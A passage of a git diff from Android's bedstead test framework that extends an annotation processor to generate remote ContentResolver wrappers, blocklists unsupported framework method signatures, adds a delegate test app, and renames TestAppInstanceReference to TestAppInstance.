+ "public abstract android.content.pm.PackageManager getPackageManager()",
+
+ // Uses android.content.ContextParams
+ "@Nullable public android.content.ContextParams getParams()",
+
+ // Uses android.content.res.Resources
+ "public abstract android.content.res.Resources getResources()",
+
+ // Uses android.content.SharedPreferences
+ "public abstract android.content.SharedPreferences getSharedPreferences(String, int)",
+
+ // Uses android.content.res.Resources.Theme
+ "public abstract android.content.res.Resources.Theme getTheme()",
+
+ // Uses android.content.res.TypedArray
+ "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@NonNull @StyleableRes int[])",
+ "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@StyleRes int, @NonNull @StyleableRes int[]) throws android.content.res.Resources.NotFoundException",
+ "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[])",
+ "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[], @AttrRes int, @StyleRes int)",
+
+ // Uses java.io.FileInputStream
+ "public abstract java.io.FileInputStream openFileInput(String) throws java.io.FileNotFoundException",
+
+ // Uses java.io.FileOutputStream
+ "public abstract java.io.FileOutputStream openFileOutput(String, int) throws java.io.FileNotFoundException",
+
+ // Uses android.database.sqlite.SQLiteDatabase
+ "public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory)",
+ "public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory, @Nullable android.database.DatabaseErrorHandler)",
+
+ // Uses android.content.ComponentCallbacks
+ "public void registerComponentCallbacks(android.content.ComponentCallbacks)",
+ "public void unregisterComponentCallbacks(android.content.ComponentCallbacks)",
+
+ // Uses android.content.BroadcastReceiver
+ "@Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter)",
+ "@Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter, int)",
+ "@Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler)",
+ "@Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler, int)",
+ "public abstract void sendOrderedBroadcast(@NonNull @RequiresPermission android.content.Intent, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+ "public void sendOrderedBroadcast(@NonNull android.content.Intent, @Nullable String, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+ "public abstract void sendOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, @Nullable String, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+ "public abstract void sendStickyOrderedBroadcast(@RequiresPermission android.content.Intent, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+ "public abstract void sendStickyOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+ "public abstract void unregisterReceiver(android.content.BroadcastReceiver)",
+
+ // Uses java.io.InputStream
+ "@Deprecated public abstract void setWallpaper(java.io.InputStream) throws java.io.IOException",
+
+
+ // Doesn't make sense as it requires an actual Context
+ "public abstract boolean moveDatabaseFrom(android.content.Context, String)",
+ "public abstract boolean moveSharedPreferencesFrom(android.content.Context, String)",
+
+ // ContentResolver
+
+ // Uses Object
+ "public static Object addStatusChangeListener(int, android.content.SyncStatusObserver)",
+ "public static void removeStatusChangeListener(Object)",
+
+ // Uses android.content.ContentProviderClient
+ "@Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull android.net.Uri)",
+ "@Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull String)",
+ "@Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull android.net.Uri)",
+ "@Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull String)",
+
+ // Uses android.content.ContentResolver.MimeTypeInfo
+ "@NonNull public final android.content.ContentResolver.MimeTypeInfo getTypeInfo(@NonNull String)",
+
+ // Uses android.util.Size
+ "@NonNull public android.graphics.Bitmap loadThumbnail(@NonNull android.net.Uri, @NonNull android.util.Size, @Nullable android.os.CancellationSignal) throws java.io.IOException",
+
+ // Uses android.database.ContentObserver
+ "public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver)",
+ "@Deprecated public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, boolean)",
+ "public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, int)",
+ "public void notifyChange(@NonNull java.util.Collection<android.net.Uri>, @Nullable android.database.ContentObserver, int)",
+ "public final void registerContentObserver(@NonNull android.net.Uri, boolean, @NonNull android.database.ContentObserver)",
+ "public final void unregisterContentObserver(@NonNull android.database.ContentObserver)",
+
+ // Uses android.os.CancellationSignal
+ "@Nullable public final android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+ "@Nullable public final android.content.res.AssetFileDescriptor openAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+ "@Nullable public final android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+ "@Nullable public final android.os.ParcelFileDescriptor openFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+ "@Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+ "@Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+ "public final boolean refresh(@NonNull android.net.Uri, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal)",
+
+ // Uses java.io.InputStream
+ "@Nullable public final java.io.InputStream openInputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException",
+
+ // Uses java.io.OutputStream
+ "@Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException",
+ "@Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException",
+
+ // Uses android.database.Cursor
+ "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String)",
+ "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String, @Nullable android.os.CancellationSignal)",
+ "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal)",
+
+ // Uses android.content.ContentResolver
+ "@NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProvider)",
+ "@NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProviderClient)",
+
+
+ // KeyChain
+
+ // Uses android.app.Activity
+ "public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable String, int, @Nullable String)",
+ "public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable android.net.Uri, @Nullable String)"
+
+
+
+
+ );
private static final ClassName NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME =
ClassName.get("com.android.bedstead.remoteframeworkclasses",
"NullParcelableRemoteDevicePolicyManager");
+ private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableRemoteContentResolver");
private static final ClassName COMPONENT_NAME_CLASSNAME =
ClassName.get("android.content", "ComponentName");
@@ -325,7 +662,7 @@
m, processingEnv.getTypeUtils(), processingEnv.getElementUtils()))
.collect(Collectors.toSet());
- for (String systemService : SYSTEM_SERVICES) {
+ for (String systemService : FRAMEWORK_CLASSES) {
TypeElement typeElement =
processingEnv.getElementUtils().getTypeElement(systemService);
generateRemoteSystemService(
@@ -340,6 +677,7 @@
private void generateWrappers() {
generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
+ generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
}
private void generateWrapper(ClassName className) {
@@ -373,7 +711,8 @@
TypeElement frameworkClass,
Set<MethodSignature> blocklistedMethodSignatures,
Elements elements) {
- Set<ExecutableElement> methods = filterMethods(getMethods(frameworkClass),
+ Set<ExecutableElement> methods = filterMethods(getMethods(frameworkClass,
+ processingEnv.getElementUtils()),
Apis.forClass(frameworkClass.getQualifiedName().toString(),
processingEnv.getTypeUtils(), processingEnv.getElementUtils()), elements)
.stream()
@@ -395,6 +734,16 @@
MethodSignature parentProfileInstanceSignature =
MethodSignature.forApiString(PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
processingEnv.getElementUtils());
+ MethodSignature getContentResolverSignature =
+ MethodSignature.forApiString(GET_CONTENT_RESOLVER, processingEnv.getTypeUtils(),
+ processingEnv.getElementUtils());
+
+ Map<MethodSignature, ClassName> signatureReturnOverrides = new HashMap<>();
+ signatureReturnOverrides.put(parentProfileInstanceSignature,
+ ClassName.get("android.app.admin", "RemoteDevicePolicyManager"));
+ signatureReturnOverrides.put(getContentResolverSignature,
+ ClassName.get("android.content", "RemoteContentResolver"));
+
String packageName = frameworkClass.getEnclosingElement().toString();
ClassName className = ClassName.get(packageName,
"Remote" + frameworkClass.getSimpleName().toString());
@@ -412,8 +761,9 @@
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "$T.class",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
+ NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
.addMember("futureWrappers", "$T.class",
ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
.build());
@@ -428,10 +778,9 @@
MethodSignature signature = MethodSignature.forMethod(method,
processingEnv.getElementUtils());
- if (signature.equals(parentProfileInstanceSignature)) {
- // Special case, we want to return a RemoteDevicePolicyManager instead
- methodBuilder.returns(ClassName.get(
- "android.app.admin", "RemoteDevicePolicyManager"));
+
+ if (signatureReturnOverrides.containsKey(signature)) {
+ methodBuilder.returns(signatureReturnOverrides.get(signature));
}
methodBuilder.addJavadoc("See {@link $T#$L}.",
@@ -466,8 +815,9 @@
TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "$T.class",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
+ NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
.build());
classBuilder.addField(ClassName.get(frameworkClass),
@@ -539,9 +889,19 @@
}
private void generateFrameworkImpl(TypeElement frameworkClass, Set<ExecutableElement> methods) {
- MethodSignature parentProfileInstanceSignature = MethodSignature.forApiString(
- PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
- processingEnv.getElementUtils());
+ MethodSignature parentProfileInstanceSignature =
+ MethodSignature.forApiString(PARENT_PROFILE_INSTANCE, processingEnv.getTypeUtils(),
+ processingEnv.getElementUtils());
+ MethodSignature getContentResolverSignature =
+ MethodSignature.forApiString(GET_CONTENT_RESOLVER, processingEnv.getTypeUtils(),
+ processingEnv.getElementUtils());
+
+ Map<MethodSignature, ClassName> signatureReturnOverrides = new HashMap<>();
+ signatureReturnOverrides.put(parentProfileInstanceSignature,
+ ClassName.get("android.app.admin", "RemoteDevicePolicyManager"));
+ signatureReturnOverrides.put(getContentResolverSignature,
+ ClassName.get("android.content", "RemoteContentResolver"));
+
String packageName = frameworkClass.getEnclosingElement().toString();
ClassName interfaceClassName = ClassName.get(packageName,
"Remote" + frameworkClass.getSimpleName().toString());
@@ -551,7 +911,7 @@
TypeSpec.classBuilder(
className)
.addSuperinterface(interfaceClassName)
- .addModifiers(Modifier.FINAL, Modifier.PUBLIC);
+ .addModifiers(Modifier.PUBLIC);
classBuilder.addField(ClassName.get(frameworkClass),
"mFrameworkClass", Modifier.PRIVATE, Modifier.FINAL);
@@ -591,21 +951,26 @@
methodBuilder.addParameter(parameterSpec);
}
- if (signature.equals(parentProfileInstanceSignature)) {
- // Special case, we want to return a RemoteDevicePolicyManager instead
- methodBuilder.returns(ClassName.get(
- "android.app.admin", "RemoteDevicePolicyManager"));
+ String frameworkClassName = "mFrameworkClass";
+
+ if (method.getModifiers().contains(Modifier.STATIC)) {
+ frameworkClassName = frameworkClass.getQualifiedName().toString();
+ }
+
+ if (signatureReturnOverrides.containsKey(signature)) {
+ methodBuilder.returns(signatureReturnOverrides.get(signature));
methodBuilder.addStatement(
- "return new $T(mFrameworkClass.$L($L))",
- className, method.getSimpleName(), String.join(", ", paramNames));
+ "return new $TImpl($L.$L($L))",
+ signatureReturnOverrides.get(signature), frameworkClassName,
+ method.getSimpleName(), String.join(", ", paramNames));
} else if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
methodBuilder.addStatement(
- "mFrameworkClass.$L($L)",
- method.getSimpleName(), String.join(", ", paramNames));
+ "$L.$L($L)",
+ frameworkClassName, method.getSimpleName(), String.join(", ", paramNames));
} else {
methodBuilder.addStatement(
- "return mFrameworkClass.$L($L)",
- method.getSimpleName(), String.join(", ", paramNames));
+ "return $L.$L($L)",
+ frameworkClassName, method.getSimpleName(), String.join(", ", paramNames));
}
classBuilder.addMethod(methodBuilder.build());
@@ -616,9 +981,22 @@
private Set<ExecutableElement> filterMethods(
Set<ExecutableElement> allMethods, Apis validApis, Elements elements) {
- return allMethods.stream()
- .filter(m -> validApis.methods().contains(MethodSignature.forMethod(m, elements)))
- .collect(Collectors.toSet());
+ Set<ExecutableElement> filteredMethods = new HashSet<>();
+
+ for (ExecutableElement method : allMethods) {
+ MethodSignature methodSignature = MethodSignature.forMethod(method, elements);
+ if (validApis.methods().contains(methodSignature)) {
+ if (method.getModifiers().contains(Modifier.PROTECTED)) {
+ System.out.println(methodSignature + " is protected. Dropping");
+ } else {
+ filteredMethods.add(method);
+ }
+ } else {
+ System.out.println("No matching public API for " + methodSignature);
+ }
+ }
+
+ return filteredMethods;
}
private void writeClassToFile(String packageName, TypeSpec clazz) {
@@ -637,11 +1015,31 @@
}
}
- private Set<ExecutableElement> getMethods(TypeElement interfaceClass) {
- return interfaceClass.getEnclosedElements().stream()
+ private Set<ExecutableElement> getMethods(TypeElement interfaceClass, Elements elements) {
+ Map<String, ExecutableElement> methods = new HashMap<>();
+ getMethods(methods, interfaceClass, elements);
+ return new HashSet<>(methods.values());
+ }
+
+ private void getMethods(Map<String, ExecutableElement> methods, TypeElement interfaceClass,
+ Elements elements) {
+ interfaceClass.getEnclosedElements().stream()
.filter(e -> e instanceof ExecutableElement)
.map(e -> (ExecutableElement) e)
- .filter(e -> e.getKind().equals(ElementKind.METHOD))
- .collect(Collectors.toSet());
+ .filter(e -> !methods.containsKey(e.getSimpleName().toString()))
+ .filter(e -> e.getModifiers().contains(Modifier.PUBLIC))
+ .forEach(e -> {
+ methods.put(methodHash(e), e);
+ });
+
+ interfaceClass.getInterfaces().stream()
+ .map(m -> elements.getTypeElement(m.toString()))
+ .forEach(m -> getMethods(methods, m, elements));
+ }
+
+ private String methodHash(ExecutableElement method) {
+ return method.getSimpleName() + "(" + method.getParameters().stream()
+ .map(p -> p.asType().toString()).collect(
+ Collectors.joining(",")) + ")";
}
}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
index 7d544eb..adabda3 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/apis/current.txt
@@ -3918,7 +3918,6 @@
method public void dump(@NonNull String, @Nullable java.io.FileDescriptor, @NonNull java.io.PrintWriter, @Nullable String[]);
method @Deprecated public void enterPictureInPictureMode();
method public boolean enterPictureInPictureMode(@NonNull android.app.PictureInPictureParams);
- method public <T extends android.view.View> T findViewById(@IdRes int);
method public void finish();
method public void finishActivity(int);
method @Deprecated public void finishActivityFromChild(@NonNull android.app.Activity, int);
@@ -4082,7 +4081,6 @@
method public final void requestShowKeyboardShortcuts();
method @Deprecated public boolean requestVisibleBehind(boolean);
method public final boolean requestWindowFeature(int);
- method @NonNull public final <T extends android.view.View> T requireViewById(@IdRes int);
method public final void runOnUiThread(Runnable);
method public void setActionBar(@Nullable android.widget.Toolbar);
method public void setContentTransitionManager(android.transition.TransitionManager);
@@ -10535,7 +10533,6 @@
method @NonNull public final String getString(@StringRes int);
method @NonNull public final String getString(@StringRes int, java.lang.Object...);
method public abstract Object getSystemService(@NonNull String);
- method public final <T> T getSystemService(@NonNull Class<T>);
method @Nullable public abstract String getSystemServiceName(@NonNull Class<?>);
method @NonNull public final CharSequence getText(@StringRes int);
method public abstract android.content.res.Resources.Theme getTheme();
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt
new file mode 100644
index 0000000..5a535f7
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteContentResolver.java.txt
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.content.RemoteContentResolver;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link RemoteContentResolver} for clients
+ * which do not need to actually use the {@link RemoteContentResolver} param or return value.
+ */
+@CustomParcelableWrapper(originalType = RemoteContentResolver.class)
+public final class NullParcelableRemoteContentResolver implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link RemoteContentResolver}.
+ */
+ public static <F> NullParcelableRemoteContentResolver of(
+ Bundler bundler, BundlerType type,
+ RemoteContentResolver remoteContentResolver) {
+ return new NullParcelableRemoteContentResolver();
+ }
+
+ private NullParcelableRemoteContentResolver() {
+ }
+
+ public RemoteContentResolver get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableRemoteContentResolver> CREATOR =
+ new Creator<NullParcelableRemoteContentResolver>() {
+ @Override
+ public NullParcelableRemoteContentResolver createFromParcel(Parcel in) {
+ return new NullParcelableRemoteContentResolver();
+ }
+
+ @Override
+ public NullParcelableRemoteContentResolver[] newArray(int size) {
+ return new NullParcelableRemoteContentResolver[size];
+ }
+ };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/Android.bp b/common/device-side/bedstead/testapp/Android.bp
index 410f94b..bf92e97 100644
--- a/common/device-side/bedstead/testapp/Android.bp
+++ b/common/device-side/bedstead/testapp/Android.bp
@@ -99,7 +99,7 @@
java_genrule {
name: "TestApp_Apps",
- srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp", ":LockTaskApp", ":RemoteDPCTestApp", ":SmsApp", ":AccountManagementApp"],
+ srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp", ":LockTaskApp", ":DelegateTestApp", ":RemoteDPCTestApp", ":SmsApp", ":AccountManagementApp"],
out: ["TestApp_Apps.res.zip"],
tools: ["soong_zip", "index_testapps", "aapt2"],
cmd: "mkdir -p $(genDir)/res/raw"
@@ -107,6 +107,7 @@
+ " && cp $(location :EmptyTestApp2) $(genDir)/res/raw"
+ " && cp $(location :DeviceAdminTestApp) $(genDir)/res/raw"
+ " && cp $(location :LockTaskApp) $(genDir)/res/raw"
+ + " && cp $(location :DelegateTestApp) $(genDir)/res/raw"
+ " && cp $(location :RemoteDPCTestApp) $(genDir)/res/raw"
+ " && cp $(location :SmsApp) $(genDir)/res/raw"
+ " && cp $(location :AccountManagementApp) $(genDir)/res/raw"
@@ -152,6 +153,15 @@
}
android_test_helper_app {
+ name: "DelegateTestApp",
+ static_libs: [
+ "TestApp_TestApps"
+ ],
+ manifest: "manifests/DelegateManifest.xml",
+ min_sdk_version: "28"
+}
+
+android_test_helper_app {
name: "RemoteDPCTestApp",
static_libs: [
"TestApp_TestApps",
diff --git a/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml b/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml
new file mode 100644
index 0000000..5bd3772
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/DelegateManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.Delegate" android:targetSandboxVersion="2">
+
+ <application
+ android:appComponentFactory="com.android.bedstead.testapp.TestAppAppComponentFactory">
+
+ <!-- Don't allow this test app to be returned by queries unless filtered by package name -->
+ <meta-data android:name="testapp-package-query-only" android:value="true" />
+
+ </application>
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+</manifest>
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
index 42701e5..102e8da 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestApp.java
@@ -64,27 +64,27 @@
*
* <p>See {@link Users#instrumented()}
*/
- public TestAppInstanceReference install() {
+ public TestAppInstance install() {
return install(TestApis.users().instrumented());
}
/**
* Install the {@link TestApp} on the device for the given {@link UserReference}.
*/
- public TestAppInstanceReference install(UserReference user) {
+ public TestAppInstance install(UserReference user) {
try {
pkg().installBytes(user, this::apkBytes);
} catch (NeneException e) {
throw new NeneException("Error while installing TestApp " + this, e);
}
- return new TestAppInstanceReference(this, user);
+ return new TestAppInstance(this, user);
}
/**
* Install the {@link TestApp} on the device for the given {@link UserHandle}.
*/
- public TestAppInstanceReference install(UserHandle user) {
+ public TestAppInstance install(UserHandle user) {
install(TestApis.users().find(user));
return instance(user);
}
@@ -124,7 +124,7 @@
*
* <p>This does not check if the user exists, or if the test app is installed on the user.
*/
- public TestAppInstanceReference instance(UserHandle user) {
+ public TestAppInstance instance(UserHandle user) {
return instance(TestApis.users().find(user));
}
@@ -133,11 +133,11 @@
*
* <p>This does not check if the user exists, or if the test app is installed on the user.
*/
- public TestAppInstanceReference instance(UserReference user) {
+ public TestAppInstance instance(UserReference user) {
if (user == null) {
throw new NullPointerException();
}
- return new TestAppInstanceReference(this, user);
+ return new TestAppInstance(this, user);
}
private byte[] apkBytes() {
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
index 5654213..d95def6 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivities.java
@@ -30,16 +30,16 @@
*/
public final class TestAppActivities {
- final TestAppInstanceReference mInstance;
+ final TestAppInstance mInstance;
private Set<ActivityInfo> mActivities = null;
- static TestAppActivities create(TestAppInstanceReference instance) {
+ static TestAppActivities create(TestAppInstance instance) {
TestAppActivities activities = new TestAppActivities(instance);
return activities;
}
- private TestAppActivities(TestAppInstanceReference instance) {
+ private TestAppActivities(TestAppInstance instance) {
mInstance = instance;
}
@@ -53,7 +53,7 @@
PackageManager p = TestApis.context().instrumentedContext().getPackageManager();
try {
PackageInfo packageInfo = p.getPackageInfo(
- mInstance.testApp().packageName(), /* flags= */ PackageManager.GET_ACTIVITIES);
+ mInstance.packageName(), /* flags= */ PackageManager.GET_ACTIVITIES);
for (android.content.pm.ActivityInfo activityInfo : packageInfo.activities) {
if (activityInfo.name.startsWith("androidx")) {
// Special case: androidx adds non-logging activities
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
index 3eb3633..761dec6 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivitiesQueryBuilder.java
@@ -55,7 +55,7 @@
return new UnresolvedTestAppActivity(mTestAppActivities.mInstance,
TestApis.packages().component(
new ComponentName(
- mTestAppActivities.mInstance.testApp().packageName(),
+ mTestAppActivities.mInstance.packageName(),
activity.className())));
}
}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
index 2636ffd..da613e0 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivity.java
@@ -17,11 +17,9 @@
package com.android.bedstead.testapp;
import android.app.Activity;
-import android.content.ComponentName;
import android.os.UserHandle;
import com.android.bedstead.nene.activities.NeneActivity;
-import com.android.bedstead.nene.activities.NeneActivityDirect;
import com.android.bedstead.nene.packages.ComponentReference;
/**
@@ -32,17 +30,11 @@
*/
public abstract class TestAppActivity extends TestAppActivityReference implements
NeneActivity {
- TestAppActivity(TestAppInstanceReference instance,
- ComponentReference component) {
+ TestAppActivity(TestAppInstance instance, ComponentReference component) {
super(instance, component);
}
@Override
- public ComponentName getComponentName() {
- return component().componentName();
- }
-
- @Override
public UserHandle getUser() {
return testAppInstance().user().userHandle();
}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
index 2a5cb5c..fe06700 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppActivityReference.java
@@ -33,18 +33,18 @@
*/
public abstract class TestAppActivityReference {
- final TestAppInstanceReference mInstance;
+ final TestAppInstance mInstance;
final ComponentReference mComponent;
TestAppActivityReference(
- TestAppInstanceReference instance,
+ TestAppInstance instance,
ComponentReference component) {
mInstance = instance;
mComponent = component;
}
- /** Gets the {@link TestAppInstanceReference} this activity exists in. */
- public TestAppInstanceReference testAppInstance() {
+ /** Gets the {@link TestAppInstance} this activity exists in. */
+ public TestAppInstance testAppInstance() {
return mInstance;
}
